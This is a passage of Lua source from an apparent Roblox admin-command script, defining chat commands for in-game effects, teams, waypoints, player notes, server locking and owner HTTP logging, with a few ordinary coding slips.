7677 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7678 if Answer == "Yes" then
7679 local OldBet = Settings.Bet
7680 CORE:ChangeBet(Bet)
7681 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7682 end
7683 end
7684 end};
7685
7686 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7687 local Prefix = Arguments[1]
7688 if #Prefix > 5 then
7689 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7690 else
7691 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7692 if Answer == "Yes" then
7693 local OldPrefix = Settings.Prefix
7694 Settings.Prefix = Prefix
7695 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7696 end
7697 end
7698 end};
7699
7700 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7701 GUI:CommandBar(Speaker)
7702 end};
7703
7704 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7705 GUI:CommandBar(Speaker)
7706 PermCommandBars[Speaker.Name] = true
7707 end};
7708
7709 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7710 PermCommandBars[Speaker.Name] = nil
7711 end};
7712
7713 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7714 local Players = STRING:Scan(Arguments[1], Speaker)
7715 for _,Player in pairs(Players) do
7716 PermCommandBars[Player.Name] = nil
7717 end
7718 end};
7719
7720 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7721 CORE:CreateFigure("Dummy", nil, true, Speaker)
7722 end};
7723
7724 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7725 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7726 end};
7727
7728 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7729 local Players = STRING:Scan(Arguments[1], Speaker)
7730 for _,Player in pairs(Players) do
7731 CORE:ClonePlayer(Player)
7732 end
7733 end};
7734
7735 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7736 local Players = STRING:Scan(Arguments[1], Speaker)
7737 for _,Player in pairs(Players) do
7738 CORE:ClonePlayer(Player, Arguments[2])
7739 end
7740 end};
7741
7742 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7743 for _,Obj in pairs(Objects) do
7744 if Obj then Obj:Destroy() end
7745 end
7746 for Name,Jail in pairs(Jails) do
7747 if not game.Players:FindFirstChild(Name) then
7748 Jail:Destroy()
7749 Jails[Name] = nil
7750 end
7751 end
7752 Objects = {}
7753 end};
7754
7755 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7756 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7757 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7758 Obj:Destroy()
7759 end
7760 end
7761 end};
7762
7763 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7764 local Players = STRING:Scan(Arguments[1], Speaker)
7765 for _,Player in pairs(Players) do
7766 if Player.Character and Player.Character:FindFirstChild("Torso") then
7767 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7768 end
7769 end
7770 end};
7771
7772 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7773 local Players = STRING:Scan(Arguments[1], Speaker)
7774 for _,Player in pairs(Players) do
7775 if Player.Character and Player.Character:FindFirstChild("Torso") then
7776 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7777 end
7778 end
7779 end};
7780
7781 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7782 local Players = STRING:Scan(Arguments[1], Speaker)
7783 for _,Player in pairs(Players) do
7784 if Player.Character and Player.Character:FindFirstChild("Torso") then
7785 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7786 end
7787 end
7788 end};
7789
7790 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7791 local Players = STRING:Scan(Arguments[1], Speaker)
7792 for _,Player in pairs(Players) do
7793 if Player.Character and Player.Character:FindFirstChild("Torso") then
7794 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7795 if Get:IsA("Sparkles") then
7796 Get:Destroy()
7797 end
7798 end
7799 end
7800 end
7801 end};
7802
7803 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7804 local Players = STRING:Scan(Arguments[1], Speaker)
7805 for _,Player in pairs(Players) do
7806 if Player.Character and Player.Character:FindFirstChild("Torso") then
7807 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7808 if Get:IsA("Fire") then
7809 Get:Destroy()
7810 end
7811 end
7812 end
7813 end
7814 end};
7815
7816 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7817 local Players = STRING:Scan(Arguments[1], Speaker)
7818 for _,Player in pairs(Players) do
7819 if Player.Character and Player.Character:FindFirstChild("Torso") then
7820 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7821 if Get:IsA("Smoke") then
7822 Get:Destroy()
7823 end
7824 end
7825 end
7826 end
7827 end};
7828
7829 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7830 local Players = STRING:Scan(Arguments[1], Speaker)
7831 for _,Player in pairs(Players) do
7832 if Player.Character and Player.Character:FindFirstChild("Torso") then
7833 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7834 local Boom = Instance.new("Explosion", Workspace)
7835 Boom.Position = Player.Character.Torso.Position
7836 end
7837 end
7838 end};
7839
7840 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7841 local Players = STRING:Scan(Arguments[1], Speaker)
7842 for _,Player in pairs(Players) do
7843 if Player.Character and Player.Character:FindFirstChild("Torso") then
7844 coroutine.wrap(function() for i = 1,50 do
7845 local Boom = Instance.new("Explosion", Workspace)
7846 Boom.Position = Player.Character.Torso.Position
7847 wait()
7848 end end)()
7849 coroutine.wrap(function() for i = 1,5 do
7850 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7851 end end)()
7852 end
7853 end
7854 end};
7855
7856 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7857 local Players = STRING:Scan(Arguments[1], Speaker)
7858 for _,Player in pairs(Players) do
7859 if Player.Character and Player.Character:FindFirstChild("Torso") then
7860 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7861 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7862 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7863 end
7864 end
7865 end};
7866
7867 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7868 local Players = STRING:Scan(Arguments[1], Speaker)
7869 for _,Player in pairs(Players) do
7870 if Player.Character and Player.Character:FindFirstChild("Torso") then
7871 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7872 end
7873 end
7874 end};
7875
7876 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7877 local Players = STRING:Scan(Arguments[1], Speaker)
7878 for _,Player in pairs(Players) do
7879 if Player.Character then
7880 Player.Character.Parent = Server.Lighting
7881 end
7882 end
7883 end};
7884
7885 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7886 local Players = STRING:Scan(Arguments[1], Speaker)
7887 for _,Player in pairs(Players) do
7888 if Player.Character then
7889 Player.Character.Parent = Server.Workspace
7890 Player.Character:MakeJoints()
7891 end
7892 end
7893 end};
7894
7895 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7896 local Players = STRING:Scan(Arguments[1], Speaker)
7897 for _,Player in pairs(Players) do
7898 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7899 Player.Character.Humanoid.PlatformStand = true
7900 end
7901 end
7902 end};
7903
7904 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7905 local Players = STRING:Scan(Arguments[1], Speaker)
7906 for _,Player in pairs(Players) do
7907 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7908 Player.Character.Humanoid.PlatformStand = false
7909 end
7910 end
7911 end};
7912
7913 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7914 local Players = STRING:Scan(Arguments[1], Speaker)
7915 for _,Player in pairs(Players) do
7916 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7917 Player.Character.Humanoid.Jump = true
7918 end
7919 end
7920 end};
7921
7922 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7923 local Players = STRING:Scan(Arguments[1], Speaker)
7924 for _,Player in pairs(Players) do
7925 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7926 Player.Character.Humanoid.Sit = true
7927 end
7928 end
7929 end};
7930
7931 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7932 local Players = STRING:Scan(Arguments[1], Speaker)
7933 for _,Player in pairs(Players) do
7934 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7935 Player.Character.Humanoid.Sit = false
7936 end
7937 end
7938 end};
7939
7940 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7941 local Players = STRING:Scan(Arguments[1], Speaker)
7942 for _,Player in pairs(Players) do
7943 if Player.Character and Player.Character:FindFirstChild("Torso") then
7944 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7945 end
7946 end
7947 end};
7948
7949 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7950 local Players = STRING:Scan(Arguments[1], Speaker)
7951 for _,Player in pairs(Players) do
7952 if Player.Character and Player.Character:FindFirstChild("Torso") then
7953 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7954 end
7955 end
7956 end};
7957
7958 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7959 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7960 end};
7961
7962 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7963 local Color = "Blue"
7964 local String = Arguments[2]
7965 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7966 if #ChatSplit >= 2 then
7967 if string.lower(ChatSplit[1]) == "green" then
7968 Color = "Green"
7969 String = ChatSplit[2]
7970 elseif string.lower(ChatSplit[1]) == "red" then
7971 Color = "Red"
7972 String = ChatSplit[2]
7973 end
7974 end
7975 local Players = STRING:Scan(Arguments[1], Speaker)
7976 for _,Player in pairs(Players) do
7977 if Player.Character and Player.Character:FindFirstChild("Head") then
7978 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7979 end
7980 end
7981 end};
7982
7983 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7984 local Players = STRING:Scan(Arguments[1], Speaker)
7985 for _,Player in pairs(Players) do
7986 if Player.Character then
7987 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7988 end
7989 end
7990 end};
7991
7992 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7993 local Players = STRING:Scan(Arguments[1], Speaker)
7994 local ID = nil
7995 if tonumber(Arguments[2]) ~= nil then
7996 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7997 else
7998 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7999 for _,Face in pairs(FaceTable) do
8000 if string.lower(Arguments[2]) == string.lower(Face) then
8001 ID = FaceID
8002 break
8003 end
8004 end
8005 end
8006 end
8007 if ID then
8008 for _,Player in pairs(Players) do
8009 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8010 Player.Character.Head.face.Texture = "rbxassetid://"..ID
8011 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
8012 end
8013 end
8014 end
8015 end};
8016
8017 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8018 local Players = STRING:Scan(Arguments[1], Speaker)
8019 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
8020 for _,Player in pairs(Players) do
8021 if Player.Character and Player.Character:FindFirstChild("Head") then
8022 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
8023 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
8024 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
8025 end
8026 end
8027 end};
8028
8029 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
8030 local Players = STRING:Scan(Arguments[1], Speaker)
8031 for _,Player in pairs(Players) do
8032 if Player.Character and Player.Character:FindFirstChild("Head") then
8033 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
8034 end
8035 end
8036 end};
8037
8038 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
8039 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
8040 end, Http = true};
8041
8042 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
8043 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
8044 end, Http = true};
8045
8046 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
8047 local Players = STRING:Scan(Arguments[1], Speaker)
8048 for _,Player in pairs(Players) do
8049 local ExistingData = Player:LoadInstance("Data")
8050 if ExistingData == nil then
8051 ExistingData = Instance.new("Configuration")
8052 end
8053 ExistingData.Name = "Player Data"
8054 local Key = Instance.new("Configuration", ExistingData)
8055 Key.Name = Arguments[2]
8056 Player:SaveInstance("Data", ExistingData)
8057 end
8058 end};
8059
8060 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
8061 local Players = STRING:Scan(Arguments[1], Speaker)
8062 local Data = Arguments[2]
8063 for _,Player in pairs(Players) do
8064 local ExistingData = Player:LoadInstance("Data")
8065 if ExistingData ~= nil then
8066 if string.lower(Data) == "all" then
8067 ExistingData:ClearAllChildren()
8068 else
8069 for _,DataObj in pairs(ExistingData:GetChildren()) do
8070 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
8071 DataObj:Destroy()
8072 end
8073 end
8074 end
8075 end
8076 Player:SaveInstance("Data", ExistingData)
8077 end
8078 end};
8079
8080 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8081 local Players = STRING:Scan(Arguments[1], Speaker)
8082 local DataSet = {}
8083 for _,Player in pairs(Players) do
8084 local ExistingData = Player:LoadInstance("Data")
8085 if ExistingData ~= nil then
8086 if #ExistingData:GetChildren() ~= 0 then
8087 for _,Data in pairs(ExistingData:GetChildren()) do
8088 table.insert(DataSet, Player.Name..": "..Data.Name)
8089 end
8090 else
8091 table.insert(DataSet, "Data does not exist for "..Player.Name)
8092 end
8093 else
8094 table.insert(DataSet, "Data does not exist for "..Player.Name)
8095 end
8096 end
8097 GUI:ListGui(Speaker, "Notes", DataSet)
8098 end};
8099
8100 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
8101 local Players = STRING:Scan(Arguments[1], Speaker)
8102 for _,Player in pairs(Players) do
8103 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8104 Player.Character.Humanoid.WalkSpeed = 16
8105 end
8106 end
8107 end};
8108
8109 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
8110 local Players = STRING:Scan(Arguments[1], Speaker)
8111 for _,Player in pairs(Players) do
8112 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8113 Player.Character.Humanoid.WalkSpeed = -16
8114 end
8115 end
8116 end};
8117
8118 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
8119 local TeamColor = BrickColor.random()
8120 local TeamName = Arguments[1]
8121 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
8122 if #TeamNameSplit >= 2 then
8123 local Color = TeamNameSplit[1]
8124 local NewTeamName = TeamNameSplit[2]
8125 if Color == "Medium stone grey" then
8126 TeamColor = BrickColor.new(Color)
8127 TeamName = NewTeamName
8128 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
8129 TeamColor = BrickColor.new(Color)
8130 TeamName = NewTeamName
8131 elseif Colors[string.upper(Color)] then
8132 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
8133 TeamName = NewTeamName
8134 end
8135 end
8136
8137 local NewTeam = Instance.new("Team", Server.Teams)
8138 NewTeam.TeamColor = TeamColor
8139 NewTeam.Name = TeamName
8140 end};
8141
8142 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8143 local Players = STRING:Scan(Arguments[1], Speaker)
8144 for _,Player in pairs(Players) do
8145 Player.Neutral = true
8146 end
8147 end};
8148
8149 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8150 local Players = STRING:Scan(Arguments[1], Speaker)
8151 if string.lower(Arguments[2]) == "none" then
8152 for _,Player in pairs(Players) do
8153 Player.Neutral = true
8154 end
8155 else
8156 for _,Obj in pairs(Server.Teams:GetChildren()) do
8157 if Obj:IsA("Team") then
8158 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8159 for _,Player in pairs(Players) do
8160 Player.Neutral = false
8161 Player.TeamColor = Obj.TeamColor
8162 end
8163 end
8164 end
8165 end
8166 end
8167 end};
8168
8169 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8170 for _,Obj in pairs(Server.Teams:GetChildren()) do
8171 if Obj:IsA("Team") then
8172 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8173 for _,Player in pairs(Server.Players:GetPlayers()) do
8174 if Player.TeamColor == Obj.TeamColor then
8175 Player.Neutral = true
8176 end
8177 end
8178 Obj:Destroy()
8179 end
8180 end
8181 end
8182 end};
8183
8184 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8185 for _,Player in pairs(Server.Players:GetPlayers()) do
8186 Player.Neutral = true
8187 end
8188 for _,Obj in pairs(Server.Teams:GetChildren()) do
8189 if Obj:IsA("Team") then
8190 Obj:Destroy()
8191 end
8192 end
8193 end};
8194
8195 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8196 for _,Player in pairs(Server.Players:GetPlayers()) do
8197 GUI:Countdown(Player, Arguments[1])
8198 end
8199 end};
8200
8201 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8202 local Players = STRING:Scan(Arguments[1], Speaker)
8203 for _,Player in pairs(Players) do
8204 if Player:FindFirstChild("Backpack") then
8205 CORE:ExecuteResource("ShowAd", Player.Backpack)
8206 end
8207 end
8208 end};
8209
8210 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8211 local Players = STRING:Scan(Arguments[1], Speaker)
8212 for _,Player in pairs(Players) do
8213 if Player.Character then
8214 for PosName,WP in pairs(Waypoints) do
8215 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8216 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8217 break
8218 end
8219 end
8220 end
8221 end
8222 end};
8223
8224 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8225 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8226 end};
8227
8228 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8229 local Num = 0
8230 for PosName,WP in pairs(Waypoints) do
8231 Num = Num + 1
8232 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8233 Waypoints[PosName] = nil
8234 end
8235 end
8236 end};
8237
8238 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8239 local WaypointHolder,WaypointRaw = {},{}
8240 for Name, WP in pairs(Waypoints) do
8241 local View = Name..": "..tostring(WP)
8242 table.insert(WaypointHolder, View)
8243 WaypointRaw[View] = WP
8244 end
8245 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8246 Clicked.Event:connect(function(Text)
8247 local Waypoint = WaypointRaw[Text]
8248 if Waypoint then
8249 if Speaker.Character then
8250 Speaker.Character:MoveTo(Waypoint)
8251 end
8252 end
8253 end)
8254 end};
8255
8256 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8257 local Players = STRING:Scan(Arguments[1], Speaker)
8258 local List = {}
8259 for _,Player in pairs(Players) do
8260 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8261 end
8262 GUI:ListGui(Speaker, "Listed Players", List)
8263 end};
8264
8265 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8266 if tonumber(Arguments[1]) then
8267 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8268 else
8269 local Players = STRING:Scan(Arguments[1], Speaker)
8270 for _,Player in pairs(Players) do
8271 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8272 end
8273 end
8274 end};
8275
8276 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8277 local Players = STRING:Scan(Arguments[1], Speaker)
8278 local Friends,OneFriend = {}, false
8279 for _,Player in pairs(Players) do
8280 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8281 --[[if Player:IsBestFriendsWith(User.UserId) then
8282 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8283 OneFriend = true
8284 ]]
8285 if Player:IsFriendsWith(User.UserId) then
8286 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8287 OneFriend = true
8288 end
8289 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8290 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8291 end
8292 end end
8293 end
8294 GUI:ListGui(Speaker, "Friend List", Friends)
8295 end};
8296
8297 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8298 Settings.ServerLocked = true
8299 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8300 end};
8301
8302 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8303 Settings.ServerLocked = false
8304 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8305 end};
8306
8307 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8308 local OldAge = Settings.MinimumAge
8309 local Age = tostring(Arguments[1])
8310 if Age then
8311 Settings.MinimumAge = Age
8312 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8313 end
8314 end};
8315
8316 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8317 if Settings.VIPAdminID <= 1 then
8318 MARKET:PromptPurchase(Speaker, VIPAdminID)
8319 else
8320 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8321 end
8322 end};
8323
8324 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8325 if Settings.VIPMemberID <= 1 then
8326 MARKET:PromptPurchase(Speaker, VIPMemberID)
8327 else
